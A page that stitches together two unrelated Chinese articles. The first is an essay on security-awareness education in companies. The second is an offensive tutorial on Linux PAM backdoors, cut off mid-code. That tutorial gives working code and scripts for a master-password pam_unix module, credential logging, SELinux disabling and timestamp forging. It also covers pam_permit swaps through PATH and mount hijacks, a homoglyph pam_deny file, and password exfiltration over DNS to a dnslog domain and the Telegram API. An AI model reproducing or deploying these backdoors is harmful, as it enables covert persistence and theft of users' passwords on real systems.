“唯品会安全应急响应中心”公众号于2017-1-9发布了“魔风”撰写的《唯品会信息安全培训体系》，拜读之后、深为叹服，这是一个有理论、有实践、有改进的信息安全培训体系，值得信息安全从业人员学习、借鉴。本人在甲乙方都做过，在甲方高科技企业（也有人将之归类于制造业）有较长的工作经历，因此在信息安全意识教育方面略有一些心得，受此启发，决心分享一些补充性内容；细节上因个人经历和行业经验和“魔风”有差异，请不吝指正。本文首发Sec-UN，转载请注明。
### 一、 **目标与成熟度**
对于高科技行业、制造业等传统行业（这里的传统行业有别于互联网行业）而言，信息安全团队的价值可能主要是防范内部人员有意或无意的泄密，防止外部攻击引发的破坏和窃取。因此除了IT基础设施的体系化建设之外，让员工（包括干部和高管）具备恰当的信息安全意识，是防范信息安全风险的有效手段；当面对钓鱼邮件、勒索邮件、交易诈骗时，甚至会成为最有效的防线。
按照流行的成熟度模型，我将员工个人的信息安全意识成熟度划分为几个等级，可以用于衡量企业员工信息安全意识教育的水平：
1. 不知道：信息安全是干啥的？为什么要做信息安全？我跟信息安全有啥关系？员工对此基本是一无所知的状态。
2. 知道但不遵守：我知道信息安全是干啥的，但是信息安全跟我没啥关系！我知道信息安全有要求，但是不知道要求是啥，或者不遵守。
3. 知道且遵守：我知道信息安全对我的要求，并能遵守。
4. 认可且主动参与：我知晓并认可信息安全工作的目标和价值，不但遵守要求，当发现信息安全漏洞或威胁时，还能积极主动地采取举报、制止、取证等措施。
站在组织信息安全团队的角度，开展信息安全意识教育工作首先应该界定一个总体目标。这个目标应该和组织信息安全工作的整体目标保持一致。通常而概括地描述就是“员工知道并遵守信息安全要求，如果能主动参与信息安全工作那就更好了”。信息安全要求是什么，就是在不同的业务场景下员工应该怎么做的规范。有了目标这个标尺，我们才好衡量安全意识教育的成效。
信息安全意识教育工作从无到有开展2年以后，应该以3级人群为主形成正态分布，然后逐步优化。组织的信息安全团队一定是希望彻底消灭1、2级人群，3、4级人群越多越好；但任何事情都是有代价的，所以，选择与组织的文化（包括企业文化、信息安全的亚文化）和安全投入相匹配的目标就好。
### 二、 **为什么叫意识教育**
传统意义上的“培训”二字特指两种形式，一种是面对面的授课，有互动、效果好，但效率不高；一种是将各种信息安全媒体推送到员工面前（如屏保、海报、电梯视频），没有互动，效率高，但效果往往不好。
为什么称之为“意识教育”，因为意识其实也是一种能力，而不只是一种“知识”；就像我们小时候经常说考试时候粗心而错题一样，老师就会告诉你：“细心其实也是一种能力，你就是能力不过关”。我的工作经历表明，单纯依靠培训无法有效地提高员工信息安全意识，正如你不可能靠培训就能提高员工的开发质量、维护水平和沟通能力。我以前的老板一直教育我们：能力提升有个“721模型”，70%靠实战，20%靠师傅带，10%靠培训（后来才知道，这是老外经过长期研究出来的成果，可不是随口胡诌，具体出处真忘了）；经过多年的实践检验，我认为也是成立的。从这个角度看，意识教育其实大有可为：除了培训，面对面的沟通、开会、知识竞赛、现场观摩、参观展览甚至让员工自己面对和解决安全问题，都是可行的选择，只要能达到目标并符合文化和安全投入即可。
举2个实际的例子来深入阐述我的观点。
第1个例子。当我在公司里面访谈一位部门总监（算中层干部吧），他会就公司里面推行加密软件的做法以及遇到的问题跟我抱怨，并埋怨说加密软件造成了很多工作的不便。如果按照传统的“培训”理念，这时我应该友好地记录下他的问题，并在后续的授课、邮件推送中以文字、图片来解答这个问题，而按照“意识教育”理念，我就会在当场与他沟通，告诉他我们为什么会推行加密软件、为什么会遇到当前的问题、我们后续可能会怎么解决这些问题以及可能的计划；在这个沟通过程中双方换位思考、互相体谅，争取达成双方观点的一致，同时把安全人员开展工作的方式方法教给他。这应该也是一种可行的意识教育的手段。
第2个例子。业务单位有一名信息安全的兼职人员，负责本单位的日常检查工作，以及问题的处理和上报。安全团队的老师会对之进行面对面的授课，传授基本知识和技能，但是不是这样就可以了？按照“意识教育”的理念，真正让他具备工作所需的能力，还需要实际锻炼，于是第一次检查会有老师带着他，第二次检查就要自己上了，第三次检查可能老师就要来挑刺、帮助改进了。这应该也是一种可行的意识教育的手段。
### 三、 **我眼中的意识教育体系**
从建立一个体系角度来看，“唯品会信息安全培训体系”这张图已经完整地展现了一个意识教育体系的内容，在此不赘述，仅再次贴图以表达个人对此的完全同意和支持。哦，当然，要把“培训”二字替换为“意识教育”。实际上，这张图也展示的是“意识教育”的理念。
在这里仅作2点补充：
1、培训形式和培训载体这两者的界限，似乎比较模糊，我更倾向于把两者合并称为“渠道”，其内涵和价值应该是“将意识教育对象需要掌握的意识能力传递给他的手段和方法”。
2、我觉得上面这张图没有充分展现“意识教育体系设计”方面的逻辑关系，我这样表达他们的逻辑关系：
这个图展示了这样的逻辑关系：
（1）针对不同岗位的人员，应该设立有差别的安全意识教育的目标。这个目标实质上是指“教育之后应达到的效果”，并在总体上服务于安全团队的价值、目标。
（2）基于目标，就要梳理能够达到这个目标的“渠道”，已经通过这个渠道要传递的“内容”。同时，要注意不要将“渠道”局限于单向的信息传递，而应该注重双向、多种手段的综合运用。
（3）在“渠道”“内容”的选择和运用上，尤其要注意不能引起员工的反感。这就需要权衡安全团队在企业的强势程度、员工的年龄层次、意识教育内容的表达形式等多方面因素。作为一个普通人，其实非常反感自己被“培训”的对象，因此如何让员工真正感受到安全意识教育给他带来的帮助，是非常重要的。在这个方面，我建议能够让保护个人信息入手，先让员工感兴趣、认同安全的价值，然后引申、推广到保护企业的信息，效果估计会比较好。
### 四、 **不要忽视安全亚文化的建设**
在企业文化的组成中，安全文化应该视作其中不可忽视的一份子。安全团队可以尝试塑造安全的亚文化，由此塑造在企业中的品牌价值，当然，还有存在感。这种亚文化可以是润物细无声的服务生，也可以作风强势的彪形大汉。在安全亚文化的建设过程中，如果让干部和员工普遍认识到安全团队的价值和存在，常常意识到一些具体业务操作中应该遵守的安全要求，发现安全事件的时候能够优先想到安全团队，那就是非常成功的安全亚文化建设典范了。
不得不说的是，适度的奖励和惩罚措施也应该视为安全意识教育的有效手段。无论是物质的还是精神的，从人性出发，奖惩措施一定会引发员工的关注和讨论，这其实也体现了安全在企业内部的一个价值观—哪些行为会得到奖励，哪些行为则会受到惩罚。
从这个角度看，安全团队成员的一言一行、每一个决策和措施，其实都是在建设安全亚文化，都是在企业内部开展安全意识教育。
### 五、 **目标、效果的测评**
安全意识教育做的好不好，是不是达到了我们既定的效果和目标，企业管理者和安全团队的负责人都会关心这个问题。
考试是一个成本低廉的测评手段，而且如果样本量够大的话，总体结果也是可信的。当然，中国人都很擅长考试，考前突击训练也是常有的事情，因此，不必过分寄托于考试成绩。
还有一个非常直接的测评手段，就是问问安全团队的每一个成员：员工是不是理解支持你的工作？安全项目开展的资源是否足够？工作阻力有哪些、来自于谁？业务单位是否认可安全团队的价值？再与往年的状态做一个纵向比较，结果自然可知。这个方法虽然不够量化，但也足够定性。 | 社区文章 |
## 前言
渐渐发现 **pam后门** 在实战中存在 **种植繁琐、隐蔽性不强** 等缺点，这里记录下学习pam后门相关知识和pam后门的拓展改进。
* * *
## 0x01 PAM Backdoor
**PAM**
是一种认证模块，PAM可以作为Linux登录验证和各类基础服务的认证，简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务，然后加载相应的PAM的配置文件(位于
**/etc/pam.d** )，最后调用认证文件(位于 **/lib/security** )进行安全认证
**简易利用** 的PAM后门也是通过修改 **PAM** 源码中认证的逻辑来达到权限维持
以下为Pam后门种植的过程，只是特别把一点tips和需要注意的点贴出来。
查询目标版本后下载对应源代码修改认证逻辑、编译替换原认证文件即可。版本务必要和目标系统完全保持对应。
源码:`http://www.linux-pam.org/library/`
查询版本`rpm -qa | grep pam`
tar -xzvf Linux-PAM-1.1.1.tar.gz
cd Linux-PAM-1.1.1
cd modules/pam_unix/
vim pam_unix_auth.c
**pam_unix_auth.c** 在这里你可以修改认证逻辑，改成使用特定密码的后门，当然也可以作为一个记录敏感密码的功能，将记录的密码写入文件记录。
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("qing!@#123",p)==0){return PAM_SUCCESS;}
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/bin/.sshlog", "a");
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);
}
这里也提一下，实际各种复杂环境还是推荐非交互去修改源码
apt-get install dpkg-dev flex
apt-get source libpam-modules=`dpkg -s libpam-modules \
> | grep -i version | cut -d' ' -f2`
cd pam-1.1.1/modules/pam_unix/
sed -i '/\tretval = _unix_verify_password(pamh, name, p, ctrl);/ a \\tif (strcmp(p, \"micasa\") == 0) { retval = PAM_SUCCESS; }' pam_unix_auth.c
cd ../..
./configure
make
cd
#### 编译、修改:
在目标机器上重新编译PAM,而后,再将生成的库复制到系统的/lib64/security/[注意,32和64位系统下该目录的路径不一样的目录下
cd ../../
./configure && make (./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr)
mv pam_unix.so{,.bak} #备份
cp /root/Linux-PAM-1.1.1/modules/pam_unix/.libs/pam_unix.so /lib64/security/ #覆盖替换
echo $?
#### 注意的tips
过程只是有些步骤，需要注意的时候在编译后门关闭Selinux或设置上下文，以及修改pam认证的一些时间戳达到基本的隐蔽。
stat pam_unix.*
touch -t 201002160134 pam_unix.so
touch pam_unix.so -r pam_unix.so.src #克隆原始文件时间
ls -Z pam_unix.so.src (查看原始文件的Selinux上下文)
chcon –reference=pam_unix.so.src pam_unix.so setsebool -P allow_saslauthd_read_shadow 1 # 设置Selinux上下文
#或直接时间戳给变量来修改
timestamp=`ls -l /lib/security/ | grep pam_unix.so | grep -v ^l \
> | awk '{print $6$7}' | tr -d '-' | tr -d ':'`
touch -t $timestamp /lib/security/pam_unix.so
一定注意替换完成后测试ok再退出不然基本的认证就乱了
root@qing:~/pam/Linux-PAM-1.1.8/modules/pam_unix# ls -alh /bin/.sshlog
-rw-r--r--. 1 root root 162 May 31 03:15 /bin/.sshlog
#### Pam 后门一些报错解决:
编译中的问题解决:64位系统编译可能会遇到 **yywrap()** 函数未定义错误
* 1.根据提示的文件路径，在里面定义
* #define yywrap() 1 或者int yywrap(){return 1;}
* 2.在C文件中定义 %option noyywrap
* 3.安装flex软件包就可以正常编译了 yum install flex
记得Selinux一定要关闭或者设置上下文
#### Pam后门种植脚本
但是在种植过程中对于步骤显得有点繁琐，脚本来简化步骤，脚本一把PAM种植过程的命令傻瓜式写进sh， 脚本二来自zephrax:
root@qing:~/pam# cat pam.sh
#!/bin/bash
PASS='qing123' ##......
LOG='\/bin\/.sshlog' ##......
echo -e "\nPam-Backdoor\n\n\n"
version=`rpm -qa | grep pam | awk -F- '{print $2}'`
#get the pam version
#close the selinux
if [ `getenforce` = '1' ];then
setenforce 0
line_n = `grep -n "^SELINUX=enforcing" /etc/sysconfig/selinux | awk -F: '{print $1}'`
sed -i $line_n' d' /etc/sysconfig/selinux
sed -i $line_n" a\SELINUX=disabled" /etc/sysconfig/selinux
/etc/sysconfig/selinux
else
echo "selinux is closed"
fi
if [ `uname -p` = 'x86_64' ];then
LIBPATH=lib64
else
LIBPATH=lib
fi
oldtime=`stat -c '%z' /lib64/security/pam_ftp.so`
echo 'Pam backdoor starting!'
mirror_url='http://www.linux-pam.org/library/Linux-PAM-'$version'.tar.gz'
#mirror_url='http://yum.singlehop.com/pub/linux/libs/pam/pre/library/Linux-PAM-0.99.6.2.tar.gz'
version='Linux-PAM-'$version
echo 'Fetching from '$mirror_url
wget $mirror_url #fetch the roll
tar zxf $version'.tar.gz' #untar
cd $version
#find and replace
sed -i -e 's/retval = _unix_verify_password(pamh, name, p, ctrl);/retval = _unix_verify_password(pamh, name, p, ctrl);\n\tif (strcmp(p,"'$PASS'")==0 ){retval = PAM_SUCCESS;}if(retval == PAM_SUCCESS){\n\tFILE * fp;\n\tfp = fopen("'$LOG'", "a");\n\tfprintf(fp, "%s : %s\\n", name, p);\n\tfclose(fp);\n\t}/g' modules/pam_unix/pam_unix_auth.c
DIS=`head /etc/issue -n 1|awk '{print $1}'`
#get the version
if [ $DIS = "CentOS" ];then
./configure --disable-selinux && make
else
./configure && make
fi
/bin/cp -rf /$LIBPATH/security/pam_unix.so /$LIBPATH/security/pam_unix.so.bak #.. .........
/bin/cp -rf modules/pam_unix/.libs/pam_unix.so /$LIBPATH/security/pam_unix.so
touch -d "$oldtime" /$LIBPATH/security/pam_unix.so
cd .. && rm -rf Linux-PAM-1.1.1*
echo "PAM BackDoor is Done"
#!/bin/bash
OPTIND=1
PAM_VERSION=
PAM_FILE=
PASSWORD=
echo "Automatic PAM Backdoor"
function show_help {
echo ""
echo "Example usage: $0 -v 1.3.0 -p some_s3cr3t_p455word"
echo "For a list of supported versions: http://www.linux-pam.org/library/"
}
while getopts ":h:?:p:v:" opt; do
case "$opt" in
h|\?)
show_help
exit 0
;;
v) PAM_VERSION="$OPTARG"
;;
p) PASSWORD="$OPTARG"
;;
esac
done
shift $((OPTIND-1))
[ "$1" = "--" ] && shift
if [ -z $PAM_VERSION ]; then
show_help
exit 1
fi;
if [ -z $PASSWORD ]; then
show_help
exit 1
fi;
echo "PAM Version: $PAM_VERSION"
echo "Password: $PASSWORD"
echo ""
PAM_BASE_URL="http://www.linux-pam.org/library"
PAM_DIR="Linux-PAM-${PAM_VERSION}"
PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.bz2"
PATCH_DIR=`which patch`
if [ $? -ne 0 ]; then
echo "Error: patch command not found. Exiting..."
exit 1
fi
wget -c "${PAM_BASE_URL}/${PAM_FILE}"
tar xjf $PAM_FILE
cat backdoor.patch | sed -e "s/_PASSWORD_/${PASSWORD}/g" | patch -p1 -d $PAM_DIR
cd $PAM_DIR
./configure
make
cp modules/pam_unix/.libs/pam_unix.so ../
cd ..
echo "Backdoor created."
echo "Now copy the generated ./pam_unix.so to the right directory (usually /lib/security/)"
echo ""
pam 后门种植过程中也可以发现一些可以改进优化的点，比如 **加载** 认证后门 _方式、文件，以及对于 **劫持**
密码_的形式不一定是写入文本文件的形式。
## 0x02 Pam_permit Backdoor
因为种植机器环境的 **不确定性** ,很难保证在包管理器中提供了某种 **对文件校验**
，可用于检测文件系统中现有程序的操作。这些校验分发包中合法随附的文件的完整性，也许在我们修改认证so类似这种 **系统敏感文件** 就会触发监控报警
我们也可以在原Pam后门种植中变通一下在 **不替换原系统认证pam文件** 来达到相同的权限维持目的。
而类似在pam认证逻辑中改变认证结果，不一定非要在文件中修改，在认证中存在 **pam_permit.so** 模块,而而 **pam_permit**
模块任何时候都返回认证成功.
root@qing:~/pam/Linux-PAM-1.1.8/modules# cat pam_permit/pam_permit.c
/* pam_permit module */
/*
* $Id$
*
* Written by Andrew Morgan <[email protected]> 1996/3/11
*
*/
#include "config.h"
#define DEFAULT_USER "nobody"
#include <stdio.h>
/*
* here, we make definitions for the externally accessible functions
* in this file (these definitions are required for static modules
* but strongly encouraged generally) they are used to instruct the
* modules include file to define their prototypes.
*/
#define PAM_SM_AUTH
#define PAM_SM_ACCOUNT
#define PAM_SM_SESSION
#define PAM_SM_PASSWORD
#include <security/pam_modules.h>
#include <security/_pam_macros.h>
/* --- authentication management functions --- */
PAM_EXTERN int
pam_sm_authenticate(pam_handle_t *pamh, int flags UNUSED,
int argc UNUSED, const char **argv UNUSED)
{
int retval;
const char *user=NULL;
/*
* authentication requires we know who the user wants to be
*/
retval = pam_get_user(pamh, &user, NULL);
if (retval != PAM_SUCCESS) {
D(("get user returned error: %s", pam_strerror(pamh,retval)));
return retval;
}
if (user == NULL || *user == '\0') {
D(("username not known"));
retval = pam_set_item(pamh, PAM_USER, (const void *) DEFAULT_USER);
if (retval != PAM_SUCCESS)
return PAM_USER_UNKNOWN;
}
user = NULL; /* clean up */
return PAM_SUCCESS;
}
PAM_EXTERN int
pam_sm_setcred(pam_handle_t *pamh UNUSED, int flags UNUSED,
int argc UNUSED, const char **argv UNUSED)
{
return PAM_SUCCESS;
}
/* --- account management functions --- */
PAM_EXTERN int
pam_sm_acct_mgmt(pam_handle_t *pamh UNUSED, int flags UNUSED,
int argc UNUSED, const char **argv UNUSED)
{
return PAM_SUCCESS;
}
/* --- password management --- */
PAM_EXTERN int
pam_sm_chauthtok(pam_handle_t *pamh UNUSED, int flags UNUSED,
int argc UNUSED, const char **argv UNUSED)
{
return PAM_SUCCESS;
}
/* --- session management --- */
PAM_EXTERN int
pam_sm_open_session(pam_handle_t *pamh UNUSED, int flags UNUSED,
int argc UNUSED, const char **argv UNUSED)
{
return PAM_SUCCESS;
}
PAM_EXTERN int
pam_sm_close_session(pam_handle_t *pamh UNUSED, int flags UNUSED,
int argc UNUSED, const char **argv UNUSED)
{
return PAM_SUCCESS;
}
/* end of module definition */
#ifdef PAM_STATIC
/* static module data */
struct pam_module _pam_permit_modstruct = {
"pam_permit",
pam_sm_authenticate,
pam_sm_setcred,
pam_sm_acct_mgmt,
pam_sm_open_session,
pam_sm_close_session,
pam_sm_chauthtok
};
#endif
所以在留pam后门时也可以利用这个"永真"的so来达到权限维持。
* * *
### 挂载+优先级后门
当我们运行shell脚本时候系统将顺序尝试在PATH环境变量的所有目录中查找该命令。如果两个不同的PATH条目中有两个匹配的可执行文件，则将使用第一个而不触发任何警告。因此，如果我们在第一个PATH条目中添加了一个恶意二进制文件，而合法的二进制文件则位于PATH的后面，则使用恶意二进制文件代替原始二进制文件。
所以我们可以利用路径优先级结合使用 **mount** 连接原so和替换的恶意so文件来耍点"小聪明",这里将 **/usr/bin/uname**
写个wrapper script:
#!/bin/sh
mount --bind /lib/*/*/pam_permit.so /lib/*/*/pam_unix.so 2>/dev/null
/bin/uname $*
这样就用 **pam_permit.so** 来替代加载了 **pam_unix.so**.
原因就在于 **/usr/bin** 默认优先于 **/bin** 路径
qing@ubuntu:/usr/bin$ cat uname
#!/bin/sh
mount --bind /lib64/security/pam_permit.so /lib64/security/pam_unix.so 2>/dev/null
/bin/uname $*
qing@ubuntu:/usr/bin$ uname -a
Linux ubuntu 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
qing@ubuntu:/usr/bin$
可以发现随便输入密码都是ok的 以及以低用户权限切root也是无密:
这样相当于万能密码， **/dev/null**
重定向标准错误也是为了低权限用户执行mount因权限不够出错的问题，这样就算不是root用户执行uname在最后执行原 **/bin/uname**
没有任何影响。种植后任何调用uname的脚本都会触发 **pam_permit.so** ，并且我们没有修改原 **pam** 的任何文件。
uname只是一个简单的例子，shell脚本中可以使用无数的命令，具体要用替换来长期维权需要替换什么师傅们也能想到。
需要注意的一个的小地方是上面的例子是在 **Linux ubuntu 4.4.0-142-generic**
进行，而你在Centos这种红帽中PATH又是不一样的，具体环境具体替换即可。
### 同形异义字后门
**/etc/pam.d/** 下来管理对程序的认证方式。
应用程序会调用相应的配置文件,从而调用本地的认证模块，模块放置在 **/lib/security**
下,以加载动态库的形式进，像我们使用su命令时,系统会提示你输入root用户的密码.这就是su命令通过调用 **PAM** 模块实现的.
qing@ubuntu:/usr/bin$ ls -alh /etc/pam.d/
total 92K
drwxr-xr-x 2 root root 4.0K May 13 02:17 .
drwxr-xr-x 97 root root 4.0K May 21 05:26 ..
-rw-r--r-- 1 root root 384 Nov 12 2015 chfn
-rw-r--r-- 1 root root 92 Nov 12 2015 chpasswd
-rw-r--r-- 1 root root 581 Nov 12 2015 chsh
-rw-r--r-- 1 root root 1.2K Apr 7 05:15 common-account
-rw-r--r-- 1 root root 1.2K Apr 7 05:15 common-auth
-rw-r--r-- 1 root root 1.5K Apr 7 05:15 common-password
-rw-r--r-- 1 root root 1.5K Apr 7 05:15 common-session
-rw-r--r-- 1 root root 1.5K Apr 7 05:15 common-session-noninteractive
-rw-r--r-- 1 root root 606 Apr 5 2016 cron
-rw-r--r-- 1 root root 4.8K Jan 29 2016 login
-rw-r--r-- 1 root root 92 Nov 12 2015 newusers
-rw-r--r-- 1 root root 520 Mar 16 2016 other
-rw-r--r-- 1 root root 92 Nov 12 2015 passwd
-rw-r--r-- 1 root root 143 Mar 12 2016 runuser
-rw-r--r-- 1 root root 138 Mar 12 2016 runuser-l
-rw-r--r-- 1 root root 454 Jan 13 2018 smtp
-rw-r--r-- 1 root root 2.1K Mar 4 2019 sshd
-rw-r--r-- 1 root root 2.3K Nov 12 2015 su
-rw-r--r-- 1 root root 239 Mar 30 2016 sudo
-rw-r--r-- 1 root root 251 Apr 12 2016 systemd-user
看文件之前先看下配置文件的规则，例如 **/etc/pam.d/sshd** (省略号为无关内容)：
qing@ubuntu:/usr/bin$ cat /etc/pam.d/sshd
# PAM configuration for the Secure Shell service
# Standard Un*x authentication.
@include common-auth
...
account required pam_nologin.so
...
@include common-account
...
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so close
# Set the loginuid process attribute.
session required pam_loginuid.so
..
session optional pam_keyinit.so force revoke
..
@include common-session
..
session optional pam_motd.so motd=/run/motd.dynamic
session optional pam_motd.so noupdate
..
session optional pam_mail.so standard noenv # [1]
..
session required pam_limits.so
..
session required pam_env.so # [1]
..
session required pam_env.so user_readenv=1 envfile=/etc/default/locale
...
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open
# Standard Un*x password updating.
@include common-password
第一列代表模块类型
第二列代表控制标记
第三列代表模块路径
第四列代表模块参数
而模块又分四种，具体可以百度，这里对于后门做手脚还是关注 **认证管理(auth)** 模块。
查看认证 **/etc/pam.d/common-auth** ，可以发现auth模块和对应标记控制、调用的模块、传递的参数:
从文件中控制标记可以看出验证的逻辑顺序（ **required** 表示即使某个模块对用户的验证失败, **requisite**
也是表示返回失败,立刻向应用程序返回失败,表示此类型失败.不再进行同类型后面的操作.）,为这里 **suucces=1**
的表示验证密码成功然后接下来去调用 **pam_unix.so** (跳过调用 **pam_deny.so** ),如果验证失败则会去调用
**pam_deny.so** ,
那在不知道认证密码的情况下必然是认证失败，如果失败调用的这个 **pam_deny.so** 为恶意文件或者为返回结果为真的
**pam_permit.so** 都可以达到一个后门的效果，这里就可以用到同形异字Unicode字符来做个后门:
cp /lib/*/*/pam_permit.so /lib/x86_64-linux-gnu/security/pam_de$'\u578'y.so
这里 **de** 后面的并不是正常的 **n** ,而是用Unicode字符u+578来替代，虽然他看来和正常的 **n** 很像，
所以在认证文件替换响应的字符，这样调用的时候会调用我们创建含unicode字符的so，最后还是会调用到 **pam_permit.so**
使认证结果返回正确，而不是原认证文件。
perl -i -pe's/deny/de\x{578}y/' /etc/pam.d/common-auth
类似的还可以使用相同名称的shell脚本来替换ls、netstat、ps等命令，不过不推荐:
which ls netstat ps lsof find|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,">$o";print F"#!/bin/sh\n$_ \$*|grep -vE \"[$s-$n]|grep|177\"";chmod 493,$o'
## 0x03 PAM-BackDoor-exfiltration
在更改pam_unix_auth时候可以指定将密码写入tmp目录文件来记录密码，除此我们也可使用数据带外的方式来达到用后门收集一些有效凭证、敏感密码之类的信息。
这时候我们在看来一般的PAM后门种植过程中对于密码的记录:
if(strcmp(p,"qing")==0)
{
retval = PAM_SUCCESS;
}
if(retval== PAM_SUCCESS)
{
fp=fopen("qing.txt","a");
fprintf(fp,"%s::%s\n",name,p);
fclose(fp);
}
### DNS exfiltration收集密码
这里还是在 **retval = _unix_verify_password(pamh, name, p, ctrl)**
下改变逻辑，如果需要将凭证带外的话只需要改变记录方式，比如创建socket对象将认证账号密码发送http格式的包到攻击者的服务器上。这里也可以使用dns带外的形式，还是在更改pam_unix_auth.c的基础上加入dns带外的代码。
Silver Moon
dns.c(<https://gist.github.com/fffaraz/9d9170b57791c28ccda9255b48315168>)
**get_dns_servers** 和 **ChangetoDnsNameFormat** 进行指定dns解析和域名格式转换
void get_dns_servers()
{
FILE *fp;
char line[200] , *p;
if((fp = fopen("/etc/resolv.conf" , "r")) == NULL)
{
printf("Failed opening /etc/resolv.conf file \n");
}
while(fgets(line , 200 , fp))
{
if(line[0] == '#')
{
continue;
}
if(strncmp(line , "nameserver" , 10) == 0)
{
p = strtok(line , " ");
p = strtok(NULL , " ");
//p now is the dns ip :)
//????
}
}
strcpy(dns_servers[0] , "208.67.222.222");
strcpy(dns_servers[1] , "208.67.220.220");
}
/*
* This will convert www.google.com to 3www6google3com
* got it :)
* */
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
{
int lock = 0 , i;
strcat((char*)host,".");
for(i = 0 ; i < strlen((char*)host) ; i++)
{
if(host[i]=='.')
{
*dns++ = i-lock;
for(;lock<i;lock++)
{
*dns++=host[lock];
}
lock++; //or lock=i+1;
}
}
*dns++='\0';
}
加入查询的代码后只需要在 **_unix_verify_password** 下面加入对认证信息的dns查询即可，name和p都在最后调用
**ngethostbyname** 将snprintf拼接好的地址进行dns查询:
root@qing:~/Linux-PAM-1.1.8/modules/pam_unix# rm pam_unix_auth.c
rm: remove regular file ‘pam_unix_auth.c’? yes
root@qing:~/Linux-PAM-1.1.8/modules/pam_unix# mv 1.c pam_unix_auth.c
root@qing:~/Linux-PAM-1.1.8/modules/pam_unix# cd ../../
root@qing:~/Linux-PAM-1.1.8# ./configure && make
而这种还是对pam_unix.so进行替换，如果不动so文件也可以使用LD_PRELOAD之类的来预加载。
### LD_PRELOAD 劫持收集密码
在不动so的情况下我们也可以使用类似LD_PRELOAD的方式来劫持相关认证函数，在劫持的函数中对凭证进行带外收集，最后再调用正常的认证函数即可。而@TheXC3LL没有细说为什么劫持pam_get_item函数的原因，查下资料,先来看看
**pam_get_item函数** :
(<https://www.man7.org/linux/man-pages/man3/pam_get_item.3.html>)
NAME top
pam_get_item - getting PAM informations
SYNOPSIS top
#include <security/pam_modules.h>
int pam_get_item(const pam_handle_t *pamh, int item_type,
const void **item);
DESCRIPTION top
The pam_get_item function allows applications and PAM service modules
to access and retrieve PAM informations of item_type. Upon successful
return, item contains a pointer to the value of the corresponding
item. Note, this is a pointer to the actual data and should not be
free()'ed or over-written! The following values are supported for
item_type:
可以看到pam_get_item 是用来让应用和pam服务模块去获取PAM信息的，查看手册定义发现当 **item_type** 参数为
**PAM_AUTHTOK** 时
使用 **pam_sm_authenticate()** 和 **pam_sm_chauthtok()**
会传递身份令牌(一般是密码)和包含密码，这里传递了 **密码凭据** :
PAM_AUTHTOK
The authentication token (often a password). This token should be
ignored by all module functions besides pam_sm_authenticate(3)
and pam_sm_chauthtok(3). In the former function it is used to
pass the most recent authentication token from one stacked module
to another. In the latter function the token is used for another
purpose. It contains the currently active authentication token.
手册末尾也说明了获取用户名使用 **pam_get_user()** 、并且当是服务模块的时候才可以读取认证凭据。
If a service module wishes to obtain the name of the user, it should
not use this function, but instead perform a call to pam_get_user(3).
Only a service module is privileged to read the authentication
tokens, PAM_AUTHTOK and PAM_OLDAUTHTOK.
所以我们劫持 **pam_get_item** 即可收集凭据。
劫持后的 **pam_get_item** 函数， **orig_ftype** 定义为 **dlsym** 返回动态链接库的函数指针即原
**pam_get_item** 函数，调用原函数后在最后发送dns请求:
typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type, const void **item);
int pam_get_item(const pam_handle_t *pamh, int item_type, const void **item) {
int retval;
int pid;
const char *name;
orig_ftype orig_pam;
orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item");
// Call original function so we log password
retval = orig_pam(pamh, item_type, item);
// Log credential
if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) {
unsigned char hostname[256];
get_dns_servers();
pam_get_user((pam_handle_t *)pamh, &name, NULL);
snprintf(hostname, sizeof(hostname), "%s.%s.qing.dnslog.cn", name, *item); // Change it with your domain
if (fork() == 0) {
ngethostbyname(hostname, T_A);
}
}
return retval;
root@qing:~# vim pam_door.c
root@qing:~# gcc -fPIC -shared pam_door.c -o qing.so
root@qing:~# ll qing.so
-rwxr-xr-x 1 root root 17624 Jun 12 08:13 qing.so
这种好处虽然也是用pam做后门但是不用去动认证文件以及每次收集使用dns带外，动静更小隐蔽性更好一些。
使用 **pam_get_item** 获取密码还可以参考这篇:<https://www.redhat.com/archives/pam-list/2004-November/msg00038.html>
### sshLooterC
sshLooterC也是用 **pam_get_item** 来获取密码，只不过是改的 **/etc/pam.d/common-auth**
使认证成功时调用恶意的so:
Copy the looter.so to the infected machine on /lib/security, then edit the
/etc/pam.d/common-auth and add the following lines.
auth optional module.so
account optional module.so
将密码带外则是用的 **libcurl** 来带外:
void sendMessage(char (*message)[]) {
char url[500];
char data[200];
//INSERT HERE YOUR BOT KEY
char token[200] = "BOT TOKEN";
//INSERT HERE YOUR USER ID
int user_id = 1111111;
snprintf(url,600,"https://api.telegram.org/bot%s/sendMessage",token);
snprintf(data,300,"chat_id=%d&text=%s",user_id,*message);
CURL *curl;
curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();
if(curl) {
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS,data);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
curl_easy_perform(curl);
}
curl_global_cleanup();
}
使用这个项目时候有点bug，添加下函数声明:
//添加函数声明
int pam_get_authtok(pam_handle_t *pamh, int item, const char **authtok, const char
*prompt);
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const
char **argv ) {
const char* username = NULL;
const char* password = NULL;
const char* prompt = NULL;
char message[1024];
char hostname[128];
retval = pam_get_user(pamh, &username, "Username: ");
//获得密码
pam_get_authtok(pamh, PAM_AUTHTOK, &password, prompt);
if (retval != PAM_SUCCESS) {
return retval;
}
gethostname(hostname, sizeof hostname);
snprintf(message,2048,"Hostname: %s\nUsername: %s\nPassword:
